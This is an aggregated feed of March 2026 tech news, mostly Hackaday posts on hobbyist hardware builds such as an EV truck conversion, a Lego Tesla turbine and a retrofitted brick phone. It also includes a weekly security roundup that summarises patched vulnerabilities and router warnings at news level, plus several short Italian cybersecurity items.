On Reddit, [Scotten] shares the takeaways from his conversion effort, which involved a custom Tesla-cell battery pack and a new rear axle assembly to house the Tesla SDU (Small Drive Unit). A Large Drive Unit (LDU) would probably fit, but the SDU already puts out 264 HP, which compares rather favourably to the 156 HP this truck’s malaise-era V8 put out stock. The old F-bodies were great trucks in a lot of respects, but even an die-hard ICE enthusiast is probably not going to be sad to see that motor go.
Choosing to put the integrated drive unit in the rear axle complicates the build compared to other conversions that re-use the
Before the bed goes on, you can see the new rear axle with the Tesla SPU. There might be room for another, smaller battery under there.
stock transmission and differential, but saves you all the losses associated with that frankly unnecessary powertrain hardware. The takeaway there is to figure out all the mechanical work on the chassis, because the EV stuff is actually the easy part. [Scotten] had the wheels turning a full year before he got the brakes figured out, because even if they’re just the rears and even if there’s regen– you want all the breaks to work on your test drive.
With the 100kW power pack, he’s getting about 220 miles of range. From the pictures, it looks like he’s filled up most of the hood space with that battery, but we can’t help but wonder if there’s room under the bed where the gas tank(s) lived to squeeze in more cells for those of us who need to go further.
Sadly the design isn’t open source, but [ScottenMotors] is apparently doing conversions on commission and open to selling kits; you can check that out on their website. In that, he’s following in the series-hybrid footsteps of Edison Motors.
While we respect the hustle to design an all-new rear end in this hack, you don’t even have to pull the internal combustion engine if you want to play on easy mode. You don’t need to be a nanoscience professor like [ScottenMotors] to pull off an electric truck, for the record– [Mr.G]’s high school class did a great job on a kei truck.
Thanks to [JohnU] for the tip!
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2026-03-13 23:00:04 UTC

Making a Bladeless Tesla Turbine Generator in Lego
The Tesla turbine is a bladeless centripetal-flow turbine invented by Nikola Tesla in 1913, using the boundary-layer effect rather than having a stream of gases or a fluid impinge on blades. Recently [Jamie’s Brick Jams] constructed one using Lego to demonstrate just how well these turbines work compared to their bladed brethren.
Since it uses the boundary-layer effect, the key is to have as much surface area as possible. This means having many smaller discs stacked side by side with some spacing between them.
Interestingly, the air that is directed against the turbine will travel inwards, towards the axle of the discs and thus requiring some way to vent the air. In the video a number of design prototypes are tested to see how they perform before settling on a design suitable for a functional generator.
The first discs are printed in PLA with an FDM printer, which are put on a shaft with 1 mm spacers. What becomes clear during testing is that these turbines can reach ridiculous speeds, but torque is really quite weak until you hit very high RPMs, well beyond 10,000 RPM. This is a bit of an issue if you want to drive any load with it, especially on start-up, but managed to propel a walker robot as a quick torque test.
After all that testing and experimenting, the right material for the turbine discs was investigated, with PLA pitted against ‘PLA tough’, PETG, PC and TPU. Of these PLA Tough got the best results in terms of RPM at the same air pressure. This was assembled into a basic generator, but the turbine struggled to generate enough torque.
Here the solution was to create a custom generator that would be much easier to spin up. To this was added a much larger turbine with 0.3 mm thin discs, using which ultimately some power could be generated, along with a considerable amount of torque. To adjust the RPM into the generator from the turbine a CVT initially was used to provide a gradual adjustment, but this had to be replaced with metal gears.
After this change the generator was good enough for a power output of about 14 Watt at 30 V with 85 PSI as input. Which is more than enough to charge a smartphone or light up a big LED panel. The design files for all of these turbines are provided on MakerWorld, such as for the big turbine.
Although Tesla turbines never made much of a splash as turbines, they are quite nice as pumps that can take a bit of abuse, including ingesting debris that would wreck other types of pumps. As a turbine they remain a fun hobbyist toy, with us covering various designs over the years. Take for example this one from 2011 based on HDD platters, or a micro turbine out of metal.
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2026-03-13 20:00:23 UTC

No More Paperweight: This Vintage Brick Phone Is Back Online
Remember those brick cellphones in the 1990s? They were comically large by today’s standards. These phones used the 1G network to communicate and, as such, have been unusable for decades now. However [Alan Boris] has resurrected this classic phone to operate today.
Originally costing as much as today’s top-of-the-line phones, but instead of weighing just a few ounces this classic Motorola DynaTAC 8000 Classic 2 tips the scales at a hefty 1.5 lbs. [Alan Boris] decided to not just bring the electronics back to life, but to even stuff a modern cellphone inside it to make it fully functional. Given the size of this phone, finding room for the new innards wasn’t much of a challenge. In fact, after the retrofit there was less in the phone than when it started life.
Using a perfboard and some tactile switches he was able to sense the button presses on the phone’s keypad and relay those to a Raspberry Pi Pico 2. The Pico in turn drove a small color LCD to replicate the original screen and controlled a pair of ADG729 boards used to dial the BM10 cellphone within this cellphone. The BM10 is a cellphone about the size of a 9V battery, making it easy to put inside the DynaTAC and bring the handset back to the modern cellular network.
Thanks [Alan Boris] for the tip! Be sure to check out our other cellphone hacks as well as some of our other retrofit hacks.
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2026-03-13 18:18:12 UTC

Cyber Index PMI 2025: i 4 livelli di maturità del tessuto imprenditoriale italiano
@nprofile…fwcg
Pmi italiane meno immature, ma strada ancora lunga da percorrere per asdottare le misure di protezione adeguate ai rischi cyber. Ecco cosa fotografa il Cyber Index PMI 2025 che misura l'indice di maturità delle Pmi
L'articolo Cyber Index PMI

2026-03-13 17:15:41 UTC

Hackaday Podcast Episode 361: Hackaday Podcast Mailbag, A Phone is Not a Computer, 3D Printing History is New Again
Join Hackaday Editors Elliot Williams and Tom Nardi as they cover their favorite hacks and stories from the week. The episode kicks off with some updates about Hackaday Europe and the recently announced Green Power contest, as well as the proposal of a new feature of the podcast where listeners are invited to send in their questions and comments. After the housekeeping is out of the way, the discussion will go from spoofing traffic light control signals and the line between desktop computers and smartphones, all the way to homebrew e-readers and writing code with chocolate candies. You’ll hear about molding replacement transparent parts, a collection of fantastic tutorials on hardware hacking and reverse engineering, and the recent fireball that lit up the skies over Germany. The episode wraps up with a fascinating look at how the developer of Pokemon Go is monetizing the in-game efforts of millions of players.
Check out the links below if you want to follow along, and as always, tell us what you think about this episode in the comments!
html5-player.libsyn.com/embed/…
Download this episode in DRM-free MP3 so you can listen to it while doing unpaid labor in Pokemon Go.
Where to Follow Hackaday Podcast
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News:
2026 Hackaday Europe Call For Participation: We Want You!
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Think you know that sound? Fill out the form for a chance to win!
Interesting Hacks of the Week:
Spoofing An Emergency Traffic Preemption Signal
Hands On With Creality’s New M1 Filament Maker
ERRF 22: Recreator 3D Turns Trash Into Filament
DIY 3D Pen Is Born To Weld
Are We Finally At The Point Where Phones Can Replace Computers?
Smartphone Hackability, Or, A Pocket Computer That Isn’t
Google Will Require Developer Verification Even For Sideloading
Power Control For A Busy Workbench
Calculator Case To Scratch-Built Pocket E-Reader
Quick Hacks:
Elliot’s Picks:
Building A Class 100 Semiconductor Cleanroom Inside A Shed
The Sweetest Programming Language: MNM
A Rotary Dial The 3D Printed Way
Tom’s Picks:
Reverse-Engineering The Bluetooth Fichero Thermal Label Printer Protocol
Clear Resin Casting Replicates Old Acrylic For Selectric Repair
Take A Ride On Wrongbaud’s Hardware Hacking Highway
Can’t-Miss Articles:
German Fireball’s 15 Minutes Of Fame
The Moon Is Safe, For Now: No Collision In 2032 After All
The Solar System Is Weirder Than You Think
Accidental Climate Engineering With Disintegrating Satellites
Pokemon Go Had Players Capturing More Than They Realized
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2026-03-13 15:30:34 UTC

Running a PC off AA Cells With Buck Converters Really Boosts Performance
After the previous attempt of running a PC off AA cells got a lot of comments, [ScuffedBits] decided to do the scientifically responsible thing and re-ran the experiment with all the peer-reviewed commentary in mind. Although we noted with the previous experiment that only alkaline cells were used, [ScuffedBits] rectified this by stating that both carbon and alkaline AA cells were used the first time around.
For this second experiment a number of changes were made, though still both carbon and alkaline cells were put into the mix. To these a third string was added, consisting of NiMH cells, for a total of 64 cells with each of the three strings outputting around 25 VDC when fully charged. These fed a cheap buck regulator module to generate the 12 VDC for the DC-DC converter on the mainboard’s ATX connector.
Although it appears that the same thin Cat-5e-sourced wiring was used, with the higher voltage this meant a lower current, making it significantly less sketchy. Unlike with the first experiment, this time around the Core i3 530 based PC could run much longer and even boot off the DIY battery pack. After a quick game and pushing through a Cinebench run for 64 Watts maximum power usage, it turned out that there was still plenty of time for more fun activities, such as troubleshooting Minecraft and even playing it.
After a total runtime of 33 minutes and 19 seconds the voltage finally dropped too low to continue. A quick check of cells in each string, it turned out that the carbon cells were the most drained with significant terminal voltage drop. The alkaline cells had been pushed down to a level where they could still probably run a wall clock, but the NiMH cells showed a healthy 1.2 V, meaning that a fully NiMH battery pack could go a lot longer.
This probably isn’t too surprising when we look at the history of battery packs in laptops, where NiCd quickly got pushed out by NiMH-based packs for having significantly higher power density and none of the problems with recharging and disposal. Even today 1.5 V Li-ion-based AA cells do not have significantly more capacity than NiMH AA cells, making this chemistry still very relevant today. Even if you’re not trying to build your own battery pack for running a desktop PC off.
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2026-03-13 14:40:53 UTC

Banca Intesa Sanpaolo, maxi sanzione privacy: perché il problema è la base giuridica
@nprofile…fwcg
L’Autorità garante per la protezione dei dati ha comminato una sanzione di oltre 17 milioni di euro all'istitutodi credito Intesa Sanpaolo per aver profilato illegittimamente quasi 2,5 milioni di correntisti, nella cessione a favore di Isybank, controllata

2026-03-13 14:00:18 UTC

This Week in Security: Plenty of Patches, Replacing Old Gear, and Phrack Calls for Papers
When Friday the Thirteenth and Patch Tuesday happen on the same week, we’re surely in for a good time.
Anyone who maintains any sort of Microsoft ecosystem knows by now to brace for impact come Patch Tuesday; March brings the usual batch of “interesting” issues, including:
Two high-risk Microsoft Office vulnerabilities (CVE-2026-26110 and CVE-2026-26113), both of which allow execution of arbitrary code with no user interaction other than opening a hostile file. Vulnerabilities like these are especially dangerous in environments where transferring Office documents is considered normal, such as (unsurprisingly) offices, but also for home users who may not be savvy enough to avoid opening hostile files. Arbitrary code execution allows the attacker to run essentially any commands the user would be able to run themselves, typically leveraging it to install remote access or keyboard logging malware.
Excel gets a different vulnerability, CVE-2026-26144, which allows leaking of data through a cross-site scripting vulnerability. Coupled with CoPilot Agent, this can be used to leak contents of spreadsheets, again with no direct user interaction.
On the server and container side, this month includes a fairly typical collection of patches for SQL Server, and vulnerabilities in the Microsoft-hosted device pricing and payment orchestrator services, which have been automatically patched by Microsoft.
When it’s Time to Replace Old Gear
We all love getting every ounce of usability from our old gear, but sometimes enough is enough – at least with the stock firmware. The FBI has issued a warning about decommissioning end-of-life routers made by several large companies, with eleven Linksys and one Cisco branded routers being specifically called out for vulnerabilities under active exploitation.
A notice such as this that an exploit is under active exploitation means that a theoretical vulnerability has been commoditized into specific attacks, typically used against all devices accessible from the Internet. It’s generally safe to assume that at this point, if a vulnerable device is exposed to the Internet, it’s been compromised.
The FBI notice doesn’t call out the specific vulnerabilities used, however there’s a wide variety to pick from:
CVE-2025-60690 is a simple buffer overflow allowing code execution from parameters passed to the web UI.
CVE-2025-60692 is a buffer overflow allowing arbitrary code execution from the local network via control of entries in /proc/net/arp – unlikely to be used for a remote compromise, but still amusing.
CVE-2025-60694 and CVE-2025-60693 are both additional stack overflow and code execution from web bugs, which sets a real pattern for the quality of the webserver in the stock firmware.
CVE-2025-60689, CVE-2025-60691 and CVE-2025-34037 however appear to be the most likely culprits, both allowing arbitrary execution on the router without authentication, with CVE-2025-34037 rated a full 10/10 on the vulnerability scale and explicitly mentioning being used to deploy worm firmware.
Once an attacker is inside your router, the possible havoc they might cause is extensive:
Redirecting requests to malicious or fake websites by taking control of the DNS or rewriting requests at other layers.
Exposing systems on your private network – such as less secured IoT devices or other local devices with weak internal passwords – to the attackers.
Using your Internet connection to perform other attacks or pivots. Installing proxies on home equipment is a common method used for international attackers to appear as a normal home user in a target country.
Reselling your Internet access. Ever wonder how “free” VPN apps are able to offer access in random countries? Often an international VPN is just an infected home user!
Adding you to a botnet. Some of the largest distributed denial of service (DDoS) attacks have been carried out not by systems with huge bandwidth, but by tens of thousands (or more) of comrpomised small home routers, cameras, and other IoT type devices acting together.
If you have a Linksys E1200, E2500, E1000, E4200, E1500, E3000, E3200, E1550, WRT320N, WRT160N, WRT310N, or a Cisco M10 router still in use, the time is now to finally upgrade it – or at least explore the options of third-party firmware like OpenWRT. Unfortunately, many of these devices are so old that even OpenWRT may have difficulty running well on them, but all the more reason to update to something a little newer!
State-level Exploits in the Wild
In a pattern which should be familiar to anyone who had to deal with the leak of the Eternal Blue exploit as part of a dump of tools from the NSA which later evolved into the Wannacry and NotPetya global ransomware campaigns, another government-backed exploit toolkit has been captured and converted to a more generic criminal exploit.
Google Threat Intelligence documents the “Coruna” exploit kit, a rare public example of an attack against iPhones from iOS 13 to iOS 17.2.1. Often we see “advanced attack methods” or “targeted specific attacks” in release notes; rarely do we get further insight into the actual attacks!
Evolving from a government-backed tool to a financial crimeware exploit deployed widely to steal cryptocurrencies is interesting on its own, but perhaps the most fascinating aspect is the insight into how difficult modern exploits can be. Coruna combines 23 exploits into 5 chained attacks to be able to actually execute code from a web page. The final payload of the exposed version doesn’t deliver a spy payload, but instead focuses on cryptocurrency: searching for QR codes on disk to discover wallet addresses and saved recovery keys, wallet recovery phrases, and mentions of bank accounts, and leveraging those to steal cryptocurrency.
In true Google fashion, they’ve published indicators of compromise (IOCs) to inspect if a device has been attacked and a map of the control domains. Additional work deobfuscating the attacks and payloads can be found on GitHub here.
More Government Warnings
The US Government Cyber Defense Agency (CISA) has added additional warnings to the Known Exploited Vulnerabilities database (KEV) database. The KEV attempts to distill the torrent of security issues assigned a CVE into the most actionable vulnerabilities which have been observed being used in the wild. CISA advises not only federal and government agencies, but offers guidance for businesses of all sizes.
Many vulnerabilities on the KEV already have fixes. Paradoxically, this can sometimes make a vulnerability higher risk. Attackers have two advantages: a patch to reverse engineer to discover the exact mechanisms to trigger the flaw, and a motivation to use any exploits on a massive scale, knowing that the window of opportunity is about to close. Most of these vulnerabilities will likely be of interest mostly to readers who are in the enterprise space, but the first one regarding Android is a good reminder to everyone that the KEV isn’t just for giant companies.
As for the latest known exploited issues:
CVE-2026-21385 sounds very boring – an integer overflow in Qualcomm graphics drivers – except that those chipsets and drivers are found in a huge percentage of Android phones, tablets, set-top boxes, and likely more than a few smart TVs. This fix is bundled into the March Android security release and may prove critical. Remember to keep your devices up to date!
CVE-2026-22719 is a patched vulnerability in VMWare enterprise software (Aria Operations, specifically); if you need to care about enterprise-scale VMWare, you’ll care about this one!
CVE-2021-22054 resurfaces from 2021, again in VMWare enterprise consoles. The number of unpatched systems exposing a vulnerability from 2021 must be quite scary.
CVE-2025-26399 is a vulnerability in SolarWinds help desk sofware, which is a return of a bug not fully fixed in CVE-2024-28988. Which is, itself, the return of a bug not fully fixed in CVE-2024-28986. Look, bug fixing can be hard.
CVE-2026-1603 is an authentication bypass in Ivanti Endpoint Manager which allows access to stored credential secrets. Ivanti is an endpoint and device management system, used for monitoring, patching, upgrading, and controlling access on corporate device fleets.
Phrack Calls for Papers
The venerable Phrack has an open call for papers to be contributed to the summer issue. Released since 1985, Phrack has been a font of telecom and computer security hackery, including the critical “Smashing the Stack for Fun and Profit”, one of the first explanations of the now-ubiquitous buffer overflow and stack smashing attack.
If you think you’ve got something to contribute, or just want to check out their awesome retro demo scene loading page and some back issues, head over to the Phrack website.
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2026-03-13 13:50:06 UTC

🚔 La polizia globale ha smantellato SocksEscort, una botnet proxy creata a partire da router domestici hackerati.
Il malware AVrecon ha trasformato i dispositivi SOHO in gateway anonimi per frodi, ransomware e DDoS.
L'operazione Lightning ha sequestrato 34 domini, 23 server e congelato 3,5 milioni di dollari. 369.000 IP in 163 paesi.
thehackernews.com/2026/03/auth…Se vuoi pubblicare notizie sull'informatica, puoi creare un nuovo messaggio con un primo paragrafo di <200 caratteri che farà da titolo e menzionare alla fine del messaggio l'utente @[email protected]; se invece vuoi solo essere agiornato su questo tipo di notizie ti basta seguire l'account @nprofile…fwcg

2026-03-13 11:00:23 UTC

OS/2 Never Went Away. Its Successor Has Received An Update
ArcaOS is an operating system you might not have heard of, but you will recognize it when we tell you that it’s the direct descendant of IBM’s OS/2. It’s just received a major update, and delivers this persuasive argument for its uptake:
“How about a commercial operating system which doesn’t spy on you, does not report your online activity to anyone, and gives you complete freedom to choose the applications you want to use, however you want to use them?”
We’re guessing that a higher-than-average number of Hackaday readers use open-source operating systems, but in a world in which the commercial OS everyone loves to hate is ever more turning the Play button into the Pay button, we have to admit that’s attractive if you pay for your software.
This update, version 5.1.2, brings support for the very latest UEFI systems to the table, keeping the platform alive in a manner we’d never have guessed would happen back in the 1990s. It’s true it’s a 32-bit system rather than 64-bit, and you’d be unlikely to buy it for your high-end gaming machine, but we remember OS/2 Warp back in the day as being very nice indeed and particularly stable. We’re interested enough to have put in a cheeky request for a review ISO, so should that come off we’d love to give it the Jenny’s Daily Drivers treatment.
ArcaOS has been mentioned here before. Do any of our readers encounter it in your daily lives? We’d love to hear in the comments.
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2026-03-13 08:00:59 UTC

Perfecting the Shape-Changing Fruit Bowl
Fruit bowls have an unavoidable annoyance– not flies and rotten fruit, those would be avoidable if your diet was better. No, it’s that the bowl is never the right size. Either your fruit is sad and lonely in a too-large bowl, or it’s falling out. It’s the kind of existential nightmare that can only be properly illustrated by a late-night infomercial. [Simone Giertz] has a solution to the problem: a shape-changing fruit bowl.
See, it was one thing to make a bowl that could change shape. That was easy, [Simone] had multiple working prototypes. There are probably many ways to do it, but we like [Simone]’s use of an iris mechanism in a flat base to allow radial expansion of the walls. The problem was that [Simone] has that whole designer thing going on, and needs the bowl to be not only functional, but aesthetically pleasing. Oh, and it would be nice if expanding the bowl didn’t create escape routes for smaller fruits, but that got solved many prototypes before it got pretty.
It’s neat to see her design process. Using 3D printing and CNC machining for prototyping is very familiar to Hackaday, but lets be honest — for our own projects, it’s pretty common to stop at “functional”. Watching [Simone] struggle to balance aesthetics with design-for-manufacturing makes for an interesting 15 minutes, if nothing else. Plus she gives us our inspirational quote of the day: “As much as I feel like I’m walking in circles, I know that product development is a spiral”. Something to keep in mind next time it seems like you’re going around the drain in your own projects. Just be warned, she does have a bit of a potty mouth.
We’ve featured [Simone]’s design decisions here, if you’re interested in seeing how she goes the rest of the way from project to product. We’re pretty sure her face-slapping-alarm clock never made it into the SkyMall catalog, though.
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2026-03-13 05:00:47 UTC

Nintendo’s Family BASIC Keyboard Gets USB Upgrade
America knew it as the Nintendo Entertainment System, but in Japan, it was the Family Computer (Famicom). It was more than just a home console—it was intended to actually do a whole lot more. All you had to do was plug in the keyboard and chuck in the right Family BASIC cartridge, and you had a computer hooked up to your TV! [Lucas Leadbetter] came across an old Family BASIC keyboard recently, and set about making it more useful in our modern age with a simple USB upgrade.
[Lucas] started with research, and soon found plenty of schematics and details on the keyboard on the NESdev wiki page. Hunting further turned up a video from [Circuit Rewind], who demonstrated how to hook up the keyboard to a Raspberry Pi Pico, including how to interface with the onboard chips to scan the keys. These resources told [Lucas] enough to get going—and that it should be as simple as wiring some custom hardware up to the internal keyboard matrix connector to get it speaking to USB.
[Lucas] went a slightly different path to [Circuit Rewind], implementing the popular QMK firmware to suit the Family Basic keyboard on an Adafruit KB2040. The Adafruit part is basically an RP2040 microcontroller slapped onto a tiny PCB in a form factor that’s ideal for making custom keyboards. [Lucas] was able to reimplement the scanning logic that [Circuit Rewind] had reverse engineered previously, and had the keyboard up and running in short order with all the usability benefits of the QMK firmware. Files are on Github for those eager to recreate the work.
As far as usability goes, [Lucas] notes that the Family BASIC keyboard is more of a conversation piece than a daily driver, thanks to its rather poor feel. Duly noted. We’ve explored how software development is done in Family BASIC before, too. Video after the break.
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2026-03-13 02:00:17 UTC

Replicating a Nuclear Event Detector For Fun and Probably Not Profit
Last year, we brought you a story about the BhangmeterV2, an internet-of-things nuclear war monitor. With a cold-war-era HSN-1000 nuclear event detector at its heart, it had one job: announce to everything else on the network than an EMP was inbound, hopefully with enough time to shut down electronics. We were shocked to find out that the HSN-1000 detector was still available at the time, but that time has now passed. Fortunately [Bigcrimping] has stepped up to replicate the now-unobtainable component at the heart of his build with his BHG-2000 Nuclear Event Detector — but he needs your help to finish the job.
The HSN-1000, as reported previously, worked by listening for the characteristic prompt gamma ray pulse that is the first sign of a nuclear blast. The Vela Satellites that discovered Gamma Ray Bursts were watching for the same thing, though almost certainly not with that specific component. With the HSN-1000 unavailable, [Bigcrimping] decided he might as well make his own gamma ray detector, using four BPW34S PIN diodes coated with black paint. The paint blocks all visible light that might trigger photocurrent inside diode, but not Gamma Rays, while using four acts increases the area and may inadvertently act as a sort of coincident detector. You wouldn’t want your homemade Dead Hand to be triggered by a cosmic ray, would you?
That tiny photocurrent is then amplified by a transimpedance amplifier based on the LTC6244 op-amp, which then goes into a second-stage based on a LT1797 op amp that drives a LOW pulse to indicate an event has occurred. [Bigcrimping] fit all of this onto a four-layer PCB that is a pin-compatible replacement for the HSN-1000L event detector called for in his BhangmeterV2.
Paired with a Pico 2 W, the BHG-2000 is ready to defend your devices. At least until the EMP and blast wave hits.
There’s only one problem: without exposing this thing to gamma rays, we really don’t know if it will work. [Bigcrimping] is looking for anyone in Europe with a Cs-137 or Co-60 source willing to help out with that. His contact info is on the GitHub page where the entire project is open sourced. Presumably a nuclear detonation would work for calibration, too, but we at Hackaday are taking the bold and perhaps controversial editorial stance that nuclear explosions are best avoided. If the Bhangmeter– which we wrote up here, if you missed it–or some equivalent does warn you of a blast, do you know where to duck and cover?
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2026-03-12 23:00:05 UTC

Building a Robot Partner to Play Air Hockey With
Air hockey is one of those sports that’s both incredibly fun, but also incredibly frustrating as playing it by yourself is a rather lonely and unfulfilling experience. This is where an air hockey playing robot like the one by [Basement Builds] could come in handy. After all, after you finished building an air hockey table from scratch, how hard could it be to make a robot that merely moves the paddle around to hit the puck with?
An air hockey table is indeed not extremely complicated, being mostly just a chamber that has lots of small holes on the top through which the air is pushed. This creates the air layer on which the puck appears to float, and allows for super-fast movement. For this part countless chamfered holes were drilled to get smooth airflow, with an inline 12VDC duct fan providing up to 270 CFM (~7.6 m3/minute).
Initially the robot used a CoreXY gantry configuration, which proved to be unreliable and rather cumbersome, so instead two motors were used, each connected to its own gearbox. These manipulate the paddle position by changing the geometry of the arms. Interestingly, the gearbox uses TPU for its gears to absorb any impacts and increase endurance as pure PLA ended up falling apart.
The position of the puck is recorded by an overhead camera, from where a Python script – using the OpenCV library running on a PC – determines how to adjust the arms, which is executed by Arduino C++ code running on a board attached to the robot. All of this is available on GitHub, which as the video makes clear is basically cheating as you don’t get to enjoy doing all the trigonometry and physics-related calculating and debugging fun.
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2026-03-12 20:00:27 UTC

Mapping The Sound Field Of An Acoustic Levitator
Sound! It’s a thing you hear, moreso than something you see with your eyes. And yet, it is possible to visualize sound with various techniques. [PlasmatronX] demonstrates this well, using a special scanning technique to visually capture the sound field inside an acoustic levitation device.
If you’re unfamiliar, acoustic levitation devices like this use ultrasound to create standing waves that can hold small, lightweight particles in mid-air. The various nodes of the standing wave are where particles will end up hovering. [PlasmatronX] was trying to calibrate such a device, but it proved difficult without being able to see what was going on with the sound field. Hence, the desire to image it!
Imaging the sound field was achieved with a Schlieren optical setup, which can capture variations in air density as changes in brightness in an image. Normally, Schlieren imaging only works in a two-dimensional slice. However, [PlasmatronX] was able to lean on computed tomography techniques to create a volumetric representation of the sound field in 3D. He refers to this as “computerized acoustical tomography.” Images were captured of the acoustic levitation rig from different angles using the Schlieren optics rig, and then the images were processed in Python to recreate a 3D image of the sound field.
We’ve seen some other entertaining applications of computed tomography techniques before, like inspecting packets of Pokemon cards. Video after the break.
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2026-03-12 18:30:01 UTC

How Would a Field Sequential Home Computer Have Worked?
The early history of colour TV had several false starts, of which perhaps one of the most interesting might-have-beens was the CBS field-sequential system. This was a rival to the nascent system which would become NTSC, which instead of encoding red, green, and blue all at once for each pixel, made sequential frames carry them.
The Korean war stopped colour TV development for its duration in the early 1950s, and by the end of hostilities NTSC had matured into what we know today, so field-sequential colour became a historical footnote. But what if it had survived? [Nicole Express] takes into this alternative history, with a look at how a field-sequential 8-bit home computer might have worked.
The CBS system had a much higher line frequency in order to squeeze in those extra frames without lowering the overall frame rate, so given the clock speeds of the 8-bit era it rapidly becomes obvious that a field-sequential computer would be restricted to a lower pixel resolution than its NTSC cousin. The fantasy computer discussed leans heavily on the Apple II, and we explore in depth the clock scheme of that machine.
While it would have been possible with the faster memory chips of the day to achieve a higher resolution, the conclusion is that the processor itself wasn’t up to matching the required speed. So the field-sequential computer would end up with wide pixels. After a look at a Breakout clone and how a field-sequential Atari 2600 might have worked, there’s a conclusion that field-sequential 8-bit machines would not be as practical as their NTSC cousins. From where we’re sitting we’d expect them to have used dedicated field-sequential CRT controller chips to take away some of the heartache, but such fantasy silicon really is pushing the boundaries.
Meanwhile, while field-sequential broadcast TV never made it, we do have field-sequential TV here in 2026, in the form of DLP projectors. We’ve seen their spinning filter disks in a project or two.
1950 CBS color logo: Archive.org, CC0.
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2026-03-12 15:30:50 UTC

Controlling Vintage Mac OS With AI
Classic Mac OS was prized for its clean, accessible GUI when it first hit the scene in the 1980s. Back then, developers hadn’t even conceived of all the weird gewgaws that would eventually be shoehorned into modern operating systems, least of all AI agents that seem to be permeating everything these days. And yet! [SeanFDZ] found a way to cram Claude or other AI agents into the vintage Mac world.
The result of [Sean]’s work is AgentBridge, a tool for interfacing modern AI agents with vintage Mac OS (7-9). AgentBridge itself runs as an application within Mac OS. It works by reading and writing text files in a shared folder which can also be accessed by Claude or whichever AI agent is in use. AgentBridge takes commands from its “inbox”, executes them via the Mac Toolbox, and then writes outputs to its “outbox” where they can be picked up and processed by the AI agent. The specifics of how the shared folder work are up to you—you can use a network share, a shared folder in an emulation environment, or just about any other setup that lets the AI agent and AgentBridge access the same folder.
It’s hard to imagine any mainstream use cases for having a fleet of AI-controlled Macintosh SE/30s. Still, that doesn’t mean we don’t find the concept hilarious. Meanwhile, have you considered the prospect of artificial intelligence running on the Commodore 64?
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2026-03-12 14:00:44 UTC

Pokemon Go Had Players Capturing More Than They Realized
Released in 2016, Pokemon Go quickly became a worldwide phenomenon. Even folks who weren’t traditionally interested in the monster-taming franchise were wandering around with their smartphones out, on the hunt for virtual creatures that would appear via augmented reality. Although the number of active users has dropped over the years, it’s estimated that more than 50 million users currently log in and play every month.
From a gameplay standpoint, Go is brilliant. Although the Pokemon that players seek out obviously aren’t real, searching for them closely approximates the in-game experience that the franchise has been known for since its introduction on the Game Boy back in 1996.
But now, instead of moving a character through a virtual landscape in search of the elusive “pocket monsters”, players find them dotted throughout the real world. To be successful, players need to leave their homes and travel to where the Pokemon are physically located — which often happens to be a high-traffic area or other point of interest.
As a game, it’s hard to imagine Pokemon Go being a bigger success. At the peak of its popularity, throngs of players were literally causing traffic jams as they roamed the streets in search of invisible creatures. But what players may not have realized as they scanned the world around them through the game was that they were helping developer Niantic build something even more valuable.The Imaginary Gig Economy
The game has used augmented reality (AR) to bring the world of Pokemon to life since day one, but it wasn’t until the fall of 2020 that Niantic introduced AR Mapping. With this new feature, players could scan real-world locations and objects by walking around them while the software captured images from their smartphone’s camera. This was presented to the player as “Field Research”, and once completed, it would unlock various rewards in the game.
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For those with a technical mindset, the implications of this are immediately obvious. Through the Research system, Niantic could direct Pokemon Go players anywhere they wished. Once the imagery from these Research scans were uploaded, they could be used to create detailed 3D models through the use of photogrammetry. The more players that perform Field Research on a particular location, the more accurate the results.
If Niantic wanted to create a 3D model of a statue in a park or the front of a building, they simply needed to assign it a Field Research task and the players would rush out to collect the data. Forget Google’s Street View — rather than sending a camera-laden car out once every year or so to grab new images, Niantic could sit back while millions of players uploaded high resolution pictures of the world around them in exchange for in-game trinkets that have no physical value.
No Such Thing as a Free Pokemon
In the tech world there’s a common saying: “If something is free, you’re the product.”
The idea being that if you’re using some service without paying for it, there’s an excellent chance that the company providing said service is somehow making money off of the situation. So for example when a user looks up a particular topic with a search engine, they can be presented with contextually appropriate advertisements. By selling this ad space to companies, the search engine provider generates a profit for each “free” search performed by its users. The personal relevancy offered by such bespoke advertisements can be more effective than traditional TV or print ads, which in turn means the search engine provider can charge a premium for them.
Just as in our hypothetical search engine example, Pokemon Go is offered up to players on Android and iOS free of charge. To date, it’s been downloaded by over a billion total users. To make the game financially viable, Niantic eventually needed to find a way to turn all those free downloads into a revenue stream.
The answer is Niantic Spatial. This spin-off company was announced in March of 2025, and offers a Visual Positioning System (VPS) created in part using the photogrammetry data collected by Pokemon Go. Through this service Niantic Spatial offers centimeter-scale positioning for millions of high-traffic locations all over the globe, even in areas where GPS may be inaccurate.
Earlier this week, Niantic Spatial announced they had entered into an agreement with Coco Robotics to provide VPS for their fleet of delivery robots. Images captured by the robot’s onboard cameras can be fed into the VPS to provide a more accurate position than is possible with GPS, even in the best of conditions. This is particularly important for a robot that not only needs to navigate an ever-changing urban landscape, but must arrive at a precise location to successfully complete its delivery.
Always Read the Fine Print
At this point, you may be thinking to yourself that this all seems a bit shady. Can Niantic really take the data that was provided to them by Pokemon Go players and spin that off into a commercial venture that monetizes it? Of course they can, because that’s precisely what players agreed to when they installed the game.
Section 5.2 of the Niantic Terms of Service, titled “Rights Granted by You – AR Content”, states that the company retains wide-ranging rights over anything that users upload through the AR functions of their products:
In short, not only can Niantic do anything they want with player submitted data, but they can pass that freedom on to other entities as they see fit. So while Coco Robotics didn’t even exist when the AR Mapping feature was added to Pokemon Go, all of the imagery that players captured since that time — plus any images that they continue to capture — is fair game.
In the end, it’s unlikely that many players will lose any sleep over the fact that they have unwittingly been collecting training data to help robots more effectively deliver pizzas. But it’s also not hard to imagine a scenario in which that data ends up getting licensed out for some purpose they aren’t comfortable with.
If that happens, their options may be limited. A reading of Niantic’s Privacy Policy would seem to indicate that uploaded AR imagery is anonymized during processing, and as such doesn’t need to be treated in the same way that personally identifiable information would be. As such, players have the right to opt-out of uploading additional data going forward, but can’t remove what’s already been pushed into the system.
Regardless of whether or not this situation impacts you directly, it’s an important cautionary tale in an interconnected world where more and more of what users do online is tracked, filtered, processed, and sold off to the highest bidder. Perhaps something to keep in mind before clicking “I Agree.”
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2026-03-12 11:00:06 UTC

Selective Ironing Adds Designs To 3D Prints
While working on a project that involved super-thin prints, [Julius Curt] came up with selective ironing, a way to put designs on the top surface of a print without adding any height.
